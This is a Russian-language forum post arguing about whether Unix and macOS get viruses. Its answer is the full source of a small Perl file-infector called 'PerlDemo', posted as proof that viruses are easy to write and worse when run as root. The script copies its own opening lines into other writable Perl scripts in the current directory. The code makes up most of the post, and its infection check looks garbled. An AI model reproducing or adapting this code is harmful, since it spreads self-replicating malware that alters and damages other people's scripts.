[Randomize]

Сообщение от ingko

Ну, нет там вирусов! Не пишут. Не выгодно. А какие и есть, их еще постараться запустить надо и желательно из под рута.

А на Macbook-Pro железо вполне топовое. Я уж не говорю про большой Pro.

#!/usr/bin/perl #PerlDemo

open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);

foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {

open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;

print File @Temp; close (File); } } } } 


Держи! Это простейший. Обилие скриптов bash, perl, php и тд делают юникс настоящим раем для вирусов. Причём такие вирусы может написать даже школьник. А ежели из под рута сидишь дак в обще разгуляево.